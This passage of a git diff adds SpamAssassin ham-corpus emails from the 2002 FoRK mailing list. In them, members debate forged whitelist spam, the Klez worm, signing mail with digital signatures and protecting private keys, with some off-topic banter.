01:39:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4E8512940DF; Fri, 9 Aug 2002 17:36:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hall.mail.mindspring.net (hall.mail.mindspring.net + [207.69.200.60]) by xent.com (Postfix) with ESMTP id 7D6242940CF for + ; Fri, 9 Aug 2002 17:35:32 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17dKEu-0007HO-00; + Fri, 09 Aug 2002 20:36:20 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +In-Reply-To: +References: +To: "Russell Turpin" , fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: Re: David Friedman: Mail Me the Money! +Cc: Digital Bearer Settlement List +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 9 Aug 2002 19:57:44 -0400 + +At 6:21 PM +0000 on 8/9/02, Russell Turpin wrote: + + +> Personally, +> I wouldn't know where to hide the bodies. But if +> the government didn't have this -- um, fussiness -- +> about shooting vermin, the spam problem would +> disappear rather quickly. + +...which reminds me of my favorite David Friedman quote. + +See below... + +Cheers, +RAH + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"The direct use of physical force is so poor a solution to the problem of +limited resources that it is commonly employed only by small children and +great nations." -- David Friedman, _The_Machinery_of_Freedom_ + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00997.878a2f3b9a8d62c876f7d17819271678 b/bayes/spamham/easy_ham_2/00997.878a2f3b9a8d62c876f7d17819271678 new file mode 100644 index 0000000..ebeb56e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00997.878a2f3b9a8d62c876f7d17819271678 @@ -0,0 +1,92 @@ +From fork-admin@xent.com Mon Aug 12 11:09:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BDB414416D + for ; Mon, 12 Aug 2002 05:56:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:48 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7B6Zob24755 for ; + Sun, 11 Aug 2002 07:35:50 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1D39129414B; Sat, 10 Aug 2002 23:32:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f214.law15.hotmail.com [64.4.23.214]) by + xent.com (Postfix) with ESMTP id DBBF42940BF for ; + Sat, 10 Aug 2002 23:31:37 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sat, 10 Aug 2002 23:32:35 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Sun, 11 Aug 2002 06:32:35 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 11 Aug 2002 06:32:35.0812 (UTC) FILETIME=[E174AA40:01C24100] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 06:32:35 +0000 + +Gary Lawrence Murphy: +>This is for the whitelist fans: Can someone please tell us why the +>following extremely frequent spam header pattern would _not_ pass a +>whitelist test? The letter itself is most certainly spam/viral and +>was most certainly not sent by me, but I see no way you might tell that it +>was not, nor can I see how I might charge the sender with fraud for having +>'impersonated' my account. .. My uneducated guess is that all they need to +>jump expensive whitelist +>walls would be buckshot a spam-laden Klez .. + +There are several issues here. + +(1) For reasons that have nothing to do with +commercial advertising, we need email software that +prevents virus attacks a la Melissa and Klez. We +simply can't continue down the path where every +script kiddie with a grudge or political agenda can +cause millions or billions of dollars worth of +damage. + +(2) Very likely, email practices will evolve to the +point that digital signatures are the standard way +to recognize the sender of a message. Sabotaging +your machine or otherwise compromising your private +key will be the only way that someone can forge a +message from you. I don't see any reason that email +software that automatically uses digital signatures +for contact management and whitelisting would be +any more expensive than existing email clients. +Unless Microsoft manages to get a defacto monopoly +on it. + +(3) I think identity theft should be made a felony, +with very stiff penalties, for reasons that have +nothing to do with spam. No, obviously, simply +parading around with a sign that says "I'm George +Bush" is not identity theft. On the other hand, +I think using a virus to compromise someone else's +private key should should fall into that category. + + +_________________________________________________________________ +MSN Photos is the easiest way to share and print your photos: +http://photos.msn.com/support/worldwide.aspx + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00998.f58f417a784b56b196823b5052a45eb1 b/bayes/spamham/easy_ham_2/00998.f58f417a784b56b196823b5052a45eb1 new file mode 100644 index 0000000..09ce87b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00998.f58f417a784b56b196823b5052a45eb1 @@ -0,0 +1,75 @@ +From fork-admin@xent.com Mon Aug 12 11:09:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EDC1F4416E + for ; Mon, 12 Aug 2002 05:56:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:50 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7B80kb26483 for ; + Sun, 11 Aug 2002 09:00:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B0CFF294154; Sun, 11 Aug 2002 00:57:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id D562B294150 for ; Sun, + 11 Aug 2002 00:56:43 -0700 (PDT) +Received: (qmail 37713 invoked from network); 11 Aug 2002 07:57:45 -0000 +Received: from adsl-67-119-24-15.dsl.snfc21.pacbell.net (HELO golden) + (67.119.24.15) by relay1.pair.com with SMTP; 11 Aug 2002 07:57:45 -0000 +X-Pair-Authenticated: 67.119.24.15 +Message-Id: <00c801c2410c$c69b3a70$640a000a@golden> +From: "Gordon Mohr" +To: "fork" +References: +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 00:57:43 -0700 + +Gary Lawrence Murphy writes: +> This is for the whitelist fans: Can someone please tell us why the +> following extremely frequent spam header pattern would _not_ pass a +> whitelist test? The letter itself is most certainly spam/viral and +> was most certainly not sent by me, but I see no way you might tell +> that it was not, nor can I see how I might charge the sender with +> fraud for having 'impersonated' my account. + +If you crypto-sign your outgoing mail, you don't have to set +your mailwall whitelist to accept unsigned mail spoofed as being +from you. + +Similarly, if you include some weaker token or checksum that +spammers can't easily guess. + +If you can track the actual sender, then the proof that they've +committed identity fraud is your credible testimony that you +are the rightful user of the declared originating address, and +that you did not send the message. I'm not sure what level of +damages you could claim, though. + +- Gordon + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00999.8251f0edaf61311f630039a20c6d7cb0 b/bayes/spamham/easy_ham_2/00999.8251f0edaf61311f630039a20c6d7cb0 new file mode 100644 index 0000000..7443423 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00999.8251f0edaf61311f630039a20c6d7cb0 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Fri Aug 9 16:07:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6D671440E7 + for ; Fri, 9 Aug 2002 11:01:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 16:01:11 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EYEb08096 for + ; Fri, 9 Aug 2002 15:34:15 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id WAA01353 for ; Thu, 8 Aug 2002 22:35:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2550E2940F7; Thu, 8 Aug 2002 14:20:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 537EF2940EE for ; Thu, + 8 Aug 2002 14:19:48 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 235543ED5F; + Thu, 8 Aug 2002 17:21:16 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 21B613ECE7; Thu, 8 Aug 2002 17:21:16 -0400 (EDT) +From: Tom +To: "Adam L. Beberg" +Cc: fork@spamassassin.taint.org +Subject: Re: Perhaps Apple isn't as user-friendly as we thought... +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 8 Aug 2002 17:21:16 -0400 (EDT) + +On Thu, 8 Aug 2002, Adam L. Beberg wrote: + +--]Yea, Apple sucks, my crappy iMac hasn't crashed once in 2 years. + +When all you do on it is pout on emaillists and watch asain bukaky porn +wheres the strain? + +Striken as anecdotal...oh and I had a win98 box running wsmf server stuffs +(apache, dbs, shoutcast etc) up on dsl without so much as a hicup for over 1.5 years +other than the various game realted hijinks tribes would pull. So if its +raw uptime ou want,....tools and craftsman time. Thus once again uptime +fawl down go boom. + +-tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01000.42385557ebb3ea0de761e631a82dd6b3 b/bayes/spamham/easy_ham_2/01000.42385557ebb3ea0de761e631a82dd6b3 new file mode 100644 index 0000000..001d80e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01000.42385557ebb3ea0de761e631a82dd6b3 @@ -0,0 +1,73 @@ +From fork-admin@xent.com Mon Aug 12 11:09:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BCD4244108 + for ; Mon, 12 Aug 2002 05:57:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BAVlb30446 for ; + Sun, 11 Aug 2002 11:31:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 94EC929415D; Sun, 11 Aug 2002 03:28:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id D7CD0294159 for + ; Sun, 11 Aug 2002 03:27:25 -0700 (PDT) +Received: (qmail 22327 invoked by uid 508); 11 Aug 2002 10:28:24 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.56) by + venus.phpwebhosting.com with SMTP; 11 Aug 2002 10:28:24 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7BAS2U26714; Sun, 11 Aug 2002 12:28:06 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Gary Lawrence Murphy +Cc: fork +Subject: Re: Forged whitelist spam +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 12:28:02 +0200 (CEST) + +On 10 Aug 2002, Gary Lawrence Murphy wrote: + +> My uneducated guess is that all they need to jump expensive whitelist +> walls would be buckshot a spam-laden Klez with a 5-million-addresses +> mailer; if it finds just one vulnerable host on an Exchange server, +> through hopping addressbooks across a few degrees of freedom, a world +> of whitelists are instantly breechable. + +You seem to be saying that whitelists are useless, because there are worms +which can compromise your system, read your address book/whitelist, and +sent themselves on, compromising a nonnegligible fraction of systems as +they go along. + +While mailing lists can be spam/worm amplifiers, I don't think this is +true for individual users even today. Moreover, worms which use email as +vector exist *only* because a single vendor ships mailers with broken +default settings, and insists to make documents executables. This makes +for very bad press, and eventually that vendor is going to wise up, and +stop shipping as many broken wares (or people will switch to more secure +alternatives, whatever comes first). + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01001.78ea5379f3f6846a0f0ad815a7fa3cfc b/bayes/spamham/easy_ham_2/01001.78ea5379f3f6846a0f0ad815a7fa3cfc new file mode 100644 index 0000000..589bcec --- /dev/null +++ b/bayes/spamham/easy_ham_2/01001.78ea5379f3f6846a0f0ad815a7fa3cfc @@ -0,0 +1,58 @@ +From fork-admin@xent.com Mon Aug 12 11:09:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DF99C44170 + for ; Mon, 12 Aug 2002 05:57:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:04 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BBanb32040 for ; + Sun, 11 Aug 2002 12:36:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 46D33294167; Sun, 11 Aug 2002 04:33:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 3427B294164 for + ; Sun, 11 Aug 2002 04:32:16 -0700 (PDT) +Received: (qmail 31503 invoked by uid 508); 11 Aug 2002 11:33:17 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.56) by + venus.phpwebhosting.com with SMTP; 11 Aug 2002 11:33:17 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7BBXAg27943; Sun, 11 Aug 2002 13:33:10 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Gordon Mohr +Cc: fork +Subject: Re: Forged whitelist spam +In-Reply-To: <00c801c2410c$c69b3a70$640a000a@golden> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 13:33:10 +0200 (CEST) + +On Sun, 11 Aug 2002, Gordon Mohr wrote: + +> If you crypto-sign your outgoing mail, you don't have to set your +> mailwall whitelist to accept unsigned mail spoofed as being from you. + +Users don't like entering passphrases when sending email. USB fobs, smart +cards or other removable hardware are not yet widespread. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01002.55d037d2f9af709d73dfe98f9b66b20b b/bayes/spamham/easy_ham_2/01002.55d037d2f9af709d73dfe98f9b66b20b new file mode 100644 index 0000000..3a57383 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01002.55d037d2f9af709d73dfe98f9b66b20b @@ -0,0 +1,62 @@ +From fork-admin@xent.com Mon Aug 12 11:10:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7647144173 + for ; Mon, 12 Aug 2002 05:57:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BFO7b04876 for ; + Sun, 11 Aug 2002 16:24:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8C074294173; Sun, 11 Aug 2002 08:20:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f116.law15.hotmail.com [64.4.23.116]) by + xent.com (Postfix) with ESMTP id E7566294167 for ; + Sun, 11 Aug 2002 08:19:24 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sun, 11 Aug 2002 08:20:05 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Sun, 11 Aug 2002 15:20:05 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 11 Aug 2002 15:20:05.0676 (UTC) FILETIME=[923EA6C0:01C2414A] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 15:20:05 +0000 + +Eugene Leitl: +>Users don't like entering passphrases when sending email. + +If you're using the mail client on your personal +machine, there's no reason you would need to enter +a passphrase, unless that is part of how you secure +the data on your personal machine. You're private +key is as secure as any other data on your machine. +If you're working remotely, you already have to +enter a passphrase to get to your email. + + +_________________________________________________________________ +Send and receive Hotmail on your mobile device: http://mobile.msn.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01003.dbf6260efb0ece752fa7b7b1193e24fa b/bayes/spamham/easy_ham_2/01003.dbf6260efb0ece752fa7b7b1193e24fa new file mode 100644 index 0000000..f51d9ad --- /dev/null +++ b/bayes/spamham/easy_ham_2/01003.dbf6260efb0ece752fa7b7b1193e24fa @@ -0,0 +1,73 @@ +From fork-admin@xent.com Mon Aug 12 11:10:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 69E2544174 + for ; Mon, 12 Aug 2002 05:57:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:08 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BGFhb06281 for ; + Sun, 11 Aug 2002 17:15:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C9109294177; Sun, 11 Aug 2002 09:12:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 67AA0294173 for + ; Sun, 11 Aug 2002 09:11:54 -0700 (PDT) +Received: (qmail 20396 invoked by uid 508); 11 Aug 2002 16:12:56 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.56) by + venus.phpwebhosting.com with SMTP; 11 Aug 2002 16:12:56 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7BGCqh32418; Sun, 11 Aug 2002 18:12:52 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Russell Turpin +Cc: +Subject: Re: Forged whitelist spam +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 18:12:52 +0200 (CEST) + +On Sun, 11 Aug 2002, Russell Turpin wrote: + +> If you're using the mail client on your personal +> machine, there's no reason you would need to enter +> a passphrase, unless that is part of how you secure +> the data on your personal machine. You're private + +The original comment's context was digital signatures. A digital signature +is worth sqrat if any userspace app or rogue superuser code can grab your +keyring in clear, and send out stuff in your name. A passphrase unlocking +the keyring for that particular use is a minimal protection (since not +immune to passphrase snarfers), but this is much, much better than always +leaving your key in the lock. (Why then having at all the key, in the +first place?) + +> key is as secure as any other data on your machine. +> If you're working remotely, you already have to +> enter a passphrase to get to your email. + +A passphrase is a (long, secure) password unlocking (decrypting) your +keyring. You don't use a passphrase to read your email. Unless it resides +on a crypto file system. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01004.01c9d434a950dae2a548a62118b06de6 b/bayes/spamham/easy_ham_2/01004.01c9d434a950dae2a548a62118b06de6 new file mode 100644 index 0000000..131f76c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01004.01c9d434a950dae2a548a62118b06de6 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Mon Aug 12 11:10:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9855D44172 + for ; Mon, 12 Aug 2002 05:57:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:06 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BDwmb02739 for ; + Sun, 11 Aug 2002 14:58:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1A35C294167; Sun, 11 Aug 2002 06:55:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 483592940AD for ; + Sun, 11 Aug 2002 06:54:22 -0700 (PDT) +Received: from maya.dyndns.org (ts5-016.ptrb.interhop.net + [165.154.190.80]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7BDTqh14009 for ; Sun, 11 Aug 2002 09:29:52 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 3A5671C3B6; + Sun, 11 Aug 2002 09:55:00 -0400 (EDT) +To: fork +Subject: Re: Forged whitelist spam +References: +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 11 Aug 2002 09:55:00 -0400 + +>>>>> "E" == Eugen Leitl writes: + + E> ... Moreover, worms which use email as vector exist *only* + E> because a single vendor ships mailers with broken default + E> settings, and insists to make documents executables. This makes + E> for very bad press, and eventually that vendor is going to wise + E> up, and stop shipping as many broken wares + +Do you suppose any of us will live long enough to see such a day? + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01005.bb6d68846320ecc5bc3dedb02805641a b/bayes/spamham/easy_ham_2/01005.bb6d68846320ecc5bc3dedb02805641a new file mode 100644 index 0000000..734d500 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01005.bb6d68846320ecc5bc3dedb02805641a @@ -0,0 +1,69 @@ +From fork-admin@xent.com Mon Aug 12 11:10:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC8C044176 + for ; Mon, 12 Aug 2002 05:57:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BHegb08720 for ; + Sun, 11 Aug 2002 18:40:42 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D944A29417B; Sun, 11 Aug 2002 10:37:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f199.law15.hotmail.com [64.4.23.199]) by + xent.com (Postfix) with ESMTP id E44A12940BA for ; + Sun, 11 Aug 2002 10:36:10 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sun, 11 Aug 2002 10:37:15 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Sun, 11 Aug 2002 17:37:14 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 11 Aug 2002 17:37:15.0030 (UTC) FILETIME=[BB526B60:01C2415D] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 17:37:14 +0000 + +Eugene Leitl: +>The original comment's context was digital signatures. A digital signature +>is worth sqrat if any userspace app or rogue superuser code can grab your +>keyring in clear + +If you have a rogue app on your machine, what +keeps it from sniffing your passphrase? This is +one of the reasons I keep harping on the need for +thin, secure clients. + +>A passphrase is a (long, secure) password unlocking (decrypting) your +>keyring. You don't use a passphrase to read your email. + +When I read email, I want to respond to email, +which means, were I using a digital signature, +that it needs to be at the ready. + + +_________________________________________________________________ +MSN Photos is the easiest way to share and print your photos: +http://photos.msn.com/support/worldwide.aspx + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01006.38cc51343349102cc40a2f3648713dad b/bayes/spamham/easy_ham_2/01006.38cc51343349102cc40a2f3648713dad new file mode 100644 index 0000000..eb15f2f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01006.38cc51343349102cc40a2f3648713dad @@ -0,0 +1,126 @@ +From fork-admin@xent.com Mon Aug 12 11:10:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B8178440E0 + for ; Mon, 12 Aug 2002 05:57:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:11 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + 